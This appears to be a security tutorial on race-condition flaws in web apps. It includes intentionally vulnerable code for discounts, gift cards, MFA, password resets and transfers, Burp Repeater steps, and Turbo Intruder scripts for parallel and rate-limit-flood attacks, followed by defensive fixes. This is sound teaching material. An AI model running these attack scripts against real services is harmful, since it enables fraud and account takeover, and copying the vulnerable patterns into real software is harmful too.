Race Conditions

// Vulnerable discount code implementation
function applyDiscount(userId, promoCode) {
    // Step 1: Check if code is already used
    if (isCodeUsed(userId, promoCode)) {
        return "Code already used";
    }
    
    // Step 2: Apply discount (RACE WINDOW)
    applyDiscountToCart(userId, promoCode);
    
    // Step 3: Mark code as used
    markCodeAsUsed(userId, promoCode);
    
    return "Discount applied successfully";
}

// Gift card vulnerable implementation
function redeemGiftCard(userId, cardCode) {
    // Check if card is already redeemed
    const card = getGiftCard(cardCode);
    if (card.isRedeemed) {
        return "Card already redeemed";
    }
    
    // Add balance to user account (RACE WINDOW)
    addBalance(userId, card.amount);
    
    // Mark card as redeemed
    markCardRedeemed(cardCode);
    
    return "Gift card redeemed successfully";
}

// 1. PREDICT: Potansiyel çarpışmaları tahmin et
// Security critical endpoints
- /api/apply-discount
- /api/withdraw-funds  
- /api/redeem-voucher
- /api/vote/submit

// 2. PROBE: İpuçlarını araştır
// Normal response time: ~200ms
// Parallel request anomalies:
- Response time variations
- Different status codes  
- Changed application behavior
- Second-order effects

// 3. PROVE: Konsepti kanıtla
// Remove superfluous requests
// Ensure replicable effects
// Document the vulnerability

// Burp Repeater kullanım adımları
1. Target request'i Repeater'a gönder
2. Tab'ı duplicate et (Ctrl+D)
3. Birden fazla tab oluştur
4. Tab'ları group et (sağ click → Add to group)
5. Send group in parallel seçeneğini kullan

// HTTP/2 gereksinimi kontrolü
GET /api/vulnerable-endpoint HTTP/2
Host: target.com
User-Agent: Mozilla/5.0...

// Paralel istek sayısı: 20-30 (optimal)

# Turbo Intruder - Single Packet Attack Setup
def queueRequests(target, wordlists):
    # HTTP/2 requirement for single-packet attack
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )
    
    # Queue 20 requests in gate '1'
    for i in range(20):
        engine.queue(target.req, gate='1')
    
    # Send all requests simultaneously
    engine.openGate('1')

def handleResponse(req, interesting):
    # Analyze response for race condition indicators
    table.add(req)

# Client-side delay implementation
import time

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, 
                            concurrentConnections=5)
    
    # Send first batch
    for i in range(10):
        engine.queue(target.req, gate='batch1')
    
    # Introduce controlled delay
    time.sleep(0.1)  # 100ms delay
    
    # Send second batch
    for i in range(10):
        engine.queue(target.req, gate='batch2')
    
    # Open gates simultaneously
    engine.openGate('batch1')
    engine.openGate('batch2')

# Rate limit abuse implementation
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint)
    
    # Phase 1: Trigger rate limiting
    for i in range(100):
        dummy_req = target.req.replace('POST', 'GET')
        engine.queue(dummy_req, gate='flood')
    
    # Phase 2: Actual race condition payload
    for i in range(25):
        engine.queue(target.req, gate='attack')
    
    # Execute phases
    engine.openGate('flood')   # Trigger rate limit
    time.sleep(0.05)         # Short pause
    engine.openGate('attack')  # Execute race condition

// Vulnerable MFA implementation
function loginUser(username, password) {
    const user = authenticateUser(username, password);
    if (!user) {
        return "Invalid credentials";
    }
    
    // SUB-STATE 1: User logged in, MFA not yet enforced
    session['userid'] = user.userid;
    
    if (user.mfa_enabled) {
        // SUB-STATE 2: MFA check initiated
        session['enforce_mfa'] = true;
        // Generate and send MFA code (takes time)
        generateAndSendMFACode(user);
        // Redirect to MFA form
        return redirectToMFA();
    }
    
    return redirectToDashboard();
}

// Vulnerable password reset mechanism
function initiatePasswordReset(email) {
    const user = findUserByEmail(email);
    if (!user) {
        return "User not found";
    }
    
    // Generate reset token
    const resetToken = generateResetToken();
    
    // SUB-STATE: Token generated but not yet stored
    session['reset-user'] = user.id;
    session['reset-token'] = resetToken;
    
    // Send email (background process)
    sendPasswordResetEmail(user.email, resetToken);
    
    return "Reset email sent";
}

// Collision potential assessment
// HIGH POTENTIAL:
- POST /api/apply-discount        # Same user, same promo code
- POST /api/vote                  # Same user, same content
- POST /api/withdraw-funds        # Same account balance check

// MEDIUM POTENTIAL:
- POST /api/reset-password        # Same session, different emails
- POST /api/create-account        # Username/email uniqueness

// LOW POTENTIAL:
- GET /api/user-profile          # Read-only, different users
- POST /api/log-event            # Different records

// Classic shopping cart vulnerability
// Normal workflow:
1. Add item to cart
2. Proceed to payment
3. Validate payment
4. Confirm order

// Race condition exploit:
// Thread 1: Payment validation process
POST /api/validate-payment
{
  "cart_id": "12345",
  "amount": 100.00
}

// Thread 2: Add expensive item during payment
POST /api/add-to-cart
{
  "cart_id": "12345",
  "item_id": "expensive-laptop"
}

# Multi-endpoint race condition test setup
# Burp Repeater tab configuration

Tab 1: Connection warmer
GET /index.html HTTP/2
Host: target.com

Tab 2-11: Payment validation (10 requests)
POST /api/validate-payment HTTP/2
Content-Type: application/json
{"cart_id": "12345", "amount": 100.00}

Tab 12-21: Cart modification (10 requests)
POST /api/add-to-cart HTTP/2
Content-Type: application/json
{"cart_id": "12345", "item_id": "expensive-item"}

# Send group in parallel (single connection)

// Vulnerable password reset implementation
function resetPassword(email) {
    const user = findUserByEmail(email);
    if (!user) {
        return "User not found";
    }
    
    // Generate reset token
    const resetToken = generateToken();
    
    // RACE WINDOW: Session state manipulation
    session['reset-user'] = user.id;
    session['reset-token'] = resetToken;
    
    // Send email to user
    sendResetEmail(user.email, resetToken);
    
    return "Reset email sent";
}

// Email confirmation vulnerability
POST /api/request-email-confirmation HTTP/2
Content-Type: application/json

// Request 1-10: Legitimate user email
{"email": "user@legitimate.com"}

// Request 11-20: Target victim email
{"email": "admin@target.com"}

// Potential collision outcome:
// session['confirm-email'] = 'admin@target.com'
// confirmation token sent to 'user@legitimate.com'

// Vulnerable registration process
app.post('/register', async (req, res) => {
    const user = {
        username: req.body.username,
        email: req.body.email,
        role: 'user'  // Default role
    };
    
    // Step 1: Create user with default role
    await db.users.create(user);
    
    // Step 2: Update role based on invitation code (RACE WINDOW!)
    if (req.body.inviteCode === 'ADMIN2024') {
        user.role = 'admin';
        await db.users.update(user);
    }
    
    res.json({ success: true });
});

// Vulnerable password reset
app.post('/reset-password', async (req, res) => {
    const token = generateResetToken();
    const expiresAt = Date.now() + 300000; // 5 minutes
    
    // Store token
    await db.tokens.create({
        token: token,
        userId: req.body.userId,
        expiresAt: expiresAt
    });
    
    // Send email (async, takes time)
    await sendResetEmail(req.body.email, token);
    
    res.json({ message: 'Reset email sent' });
});

app.post('/verify-reset', async (req, res) => {
    const token = await db.tokens.findOne({
        token: req.body.token,
        expiresAt: { $gt: Date.now() }
    });
    
    if (token) {
        // Reset password
        await db.users.updatePassword(token.userId, req.body.newPassword);
        await db.tokens.delete(token.id);
        res.json({ success: true });
    }
});

// Vulnerable banking system
app.post('/transfer', async (req, res) => {
    const sessionId = req.session.id;
    const amount = req.body.amount;
    
    // Check if session is locked
    if (await isSessionLocked(sessionId)) {
        return res.status(423).json({ error: 'Session locked' });
    }
    
    // Lock session
    await lockSession(sessionId);
    
    try {
        // Check balance
        const balance = await getBalance(req.user.id);
        if (balance < amount) {
            throw new Error('Insufficient funds');
        }
        
        // Process transfer (RACE WINDOW!)
        await processTransfer(req.user.id, req.body.toAccount, amount);
        
        res.json({ success: true });
    } finally {
        // Unlock session
        await unlockSession(sessionId);
    }
});

-- Unique constraints to prevent duplicates
CREATE TABLE user_invitations (
    id INT PRIMARY KEY AUTO_INCREMENT,
    email VARCHAR(255) UNIQUE,
    invite_code VARCHAR(50),
    used_at TIMESTAMP NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Check constraints for business logic
ALTER TABLE accounts ADD CONSTRAINT check_positive_balance 
CHECK (balance >= 0);

// Atomic database operations
app.post('/transfer', async (req, res) => {
    const transaction = await db.beginTransaction();
    
    try {
        // All operations in single transaction
        const sender = await transaction.users.findById(req.user.id);
        const receiver = await transaction.users.findById(req.body.toAccount);
        
        if (sender.balance < req.body.amount) {
            throw new Error('Insufficient funds');
        }
        
        await transaction.users.updateBalance(sender.id, -req.body.amount);
        await transaction.users.updateBalance(receiver.id, +req.body.amount);
        
        await transaction.commit();
        res.json({ success: true });
    } catch (error) {
        await transaction.rollback();
        res.status(400).json({ error: error.message });
    }
});

// Idempotent operations
app.post('/purchase', async (req, res) => {
    const idempotencyKey = req.headers['idempotency-key'];
    
    if (!idempotencyKey) {
        return res.status(400).json({ error: 'Idempotency key required' });
    }
    
    // Check if operation already processed
    const existing = await db.operations.findOne({ idempotencyKey });
    if (existing) {
        return res.json(existing.result);
    }
    
    // Process operation
    const result = await processPurchase(req.body);
    
    // Store result
    await db.operations.create({
        idempotencyKey,
        result,
        processedAt: new Date()
    });
    
    res.json(result);
});

// Rate limiting middleware
const rateLimit = require('express-rate-limit');

const transferLimiter = rateLimit({
    windowMs: 60 * 1000, // 1 minute
    max: 3, // 3 transfers per minute
    keyGenerator: (req) => req.user.id,
    message: 'Too many transfer attempts'
});

app.post('/transfer', transferLimiter, transferHandler);